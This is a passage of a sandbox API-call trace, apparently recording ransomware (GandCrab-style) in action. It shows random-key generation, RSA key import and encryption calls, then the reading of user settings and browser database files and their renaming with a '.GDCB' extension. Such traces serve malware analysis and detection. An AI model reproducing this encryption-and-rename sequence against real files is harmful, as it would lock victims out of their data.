dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0224.864] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.865] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.865] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0224.865] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.865] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0224.867] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.868] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.868] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0224.868] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.869] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0224.871] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6487280) returned 1 [0224.871] CryptGetKeyParam (in: hKey=0x6487280, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.871] CryptEncrypt (in: hKey=0x6487280, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7a80000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7a80000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0224.871] GetLastError () returned 0x0 [0224.871] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.871] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0224.873] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6487840) returned 1 [0224.873] CryptGetKeyParam (in: hKey=0x6487840, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.873] CryptEncrypt (in: hKey=0x6487840, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7a90000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7a90000*, pdwDataLen=0x285d120*=0x100) returned 1 [0224.873] GetLastError () returned 0x0 [0224.873] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0224.873] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AppData\\User\\Default\\Indexed DB\\edb.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\appdata\\user\\default\\indexed db\\edb.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0224.875] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7aa0000 [0224.877] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7ab0000 [0224.878] ReadFile (in: hFile=0x424, lpBuffer=0x7ab0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x7ab0000*, lpNumberOfBytesRead=0x285d160*=0x80000, lpOverlapped=0x0) returned 1 [0224.916] VirtualAlloc (lpAddress=0x0, dwSize=0x80000, flAllocationType=0x3000, flProtect=0x4) returned 0x7bc0000 [0224.932] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AppData\\User\\Default\\Indexed DB\\edb.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\appdata\\user\\default\\indexed db\\edb.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AppData\\User\\Default\\Indexed DB\\edb.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\appdata\\user\\default\\indexed db\\edb.log.gdcb")) returned 0 [0224.934] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0224.937] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.939] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.939] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0224.939] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0224.939] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0224.941] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.942] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.942] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0224.942] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0224.942] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0224.945] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x64870c0) returned 1 [0224.945] CryptGetKeyParam (in: hKey=0x64870c0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.945] CryptEncrypt (in: hKey=0x64870c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7a80000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7a80000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0224.945] GetLastError () returned 0x0 [0224.945] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.945] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0224.947] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6487200) returned 1 [0224.947] CryptGetKeyParam (in: hKey=0x6487200, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.947] CryptEncrypt (in: hKey=0x6487200, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7a90000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7a90000*, pdwDataLen=0x285d120*=0x100) returned 1 [0224.947] GetLastError () returned 0x0 [0224.947] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.947] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AppData\\User\\Default\\Indexed DB\\edbtmp.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\appdata\\user\\default\\indexed db\\edbtmp.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0224.947] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0224.949] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.950] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.950] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0224.951] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.951] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0224.952] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.953] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.953] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0224.953] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.954] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0224.956] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x64872c0) returned 1 [0224.956] CryptGetKeyParam (in: hKey=0x64872c0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.956] CryptEncrypt (in: hKey=0x64872c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7aa0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7aa0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0224.956] GetLastError () returned 0x0 [0224.956] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0224.956] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0224.958] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6487400) returned 1 [0224.958] CryptGetKeyParam (in: hKey=0x6487400, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.958] CryptEncrypt (in: hKey=0x6487400, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ab0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7ab0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0224.958] GetLastError () returned 0x0 [0224.958] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0224.958] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AppData\\User\\Default\\Indexed DB\\IndexedDB.edb" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\appdata\\user\\default\\indexed db\\indexeddb.edb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0224.980] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0224.982] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.983] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.983] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0224.984] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.984] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0224.985] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.986] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.986] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0224.986] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0224.986] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0224.989] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6486580) returned 1 [0224.989] CryptGetKeyParam (in: hKey=0x6486580, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0224.989] CryptEncrypt (in: hKey=0x6486580, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ac0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7ac0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0224.989] GetLastError () returned 0x0 [0224.989] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.989] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4980) returned 1 [0224.991] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6486bc0) returned 1 [0224.991] CryptGetKeyParam (in: hKey=0x6486bc0, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0224.991] CryptEncrypt (in: hKey=0x6486bc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ad0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7ad0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0224.991] GetLastError () returned 0x0 [0224.991] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0224.992] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0224.993] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7ae0000 [0224.995] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7af0000 [0224.996] ReadFile (in: hFile=0x50c, lpBuffer=0x7af0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7af0000*, lpNumberOfBytesRead=0x285d8f8*=0x2210, lpOverlapped=0x0) returned 1 [0225.001] VirtualAlloc (lpAddress=0x0, dwSize=0x2210, flAllocationType=0x3000, flProtect=0x4) returned 0x7c00000 [0225.006] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\settings\\settings.dat.gdcb")) returned 1 [0225.050] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0225.052] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0225.053] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0225.053] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0225.053] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0225.053] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0225.055] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0225.056] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0225.056] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0225.056] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0225.056] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4980) returned 1 [0225.058] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6487480) returned 1 [0225.058] CryptGetKeyParam (in: hKey=0x6487480, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0225.058] CryptEncrypt (in: hKey=0x6487480, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ac0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7ac0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0225.058] GetLastError () returned 0x0 [0225.058] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0225.058] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0225.063] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6487740) returned 1 [0225.063] CryptGetKeyParam (in: hKey=0x6487740, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0225.063] CryptEncrypt (in: hKey=0x6487740, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ad0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7ad0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0225.063] GetLastError () returned 0x0 [0225.063] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0225.063] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftofficehub_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0225.065] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7ae0000 [0225.066] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7af0000 [0225.067] ReadFile (in: hFile=0x50c, lpBuffer=0x7af0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7af0000*, lpNumberOfBytesRead=0x285d8f8*=0x2000, lpOverlapped=0x0) returned 1 [0225.246] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x7c00000 [0225.251] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftofficehub_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftofficehub_8wekyb3d8bbwe\\settings\\settings.dat.gdcb")) returned 1 [0225.447] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0225.449] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0225.451] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0225.451] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0225.451] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0225.451] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0225.453] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0225.454] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0225.454] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0225.454] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0225.455] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0225.457] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6487300) returned 1 [0225.457] CryptGetKeyParam (in: hKey=0x6487300, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0225.457] CryptEncrypt (in: hKey=0x6487300, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ac0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7ac0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0225.457] GetLastError () returned 0x0 [0225.457] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0225.457] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0225.459] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6487440) returned 1 [0225.459] CryptGetKeyParam (in: hKey=0x6487440, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0225.459] CryptEncrypt (in: hKey=0x6487440, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ad0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7ad0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0225.459] GetLastError () returned 0x0 [0225.459] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0225.459] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftsolitairecollection_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0225.461] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7ae0000 [0225.462] VirtualAlloc 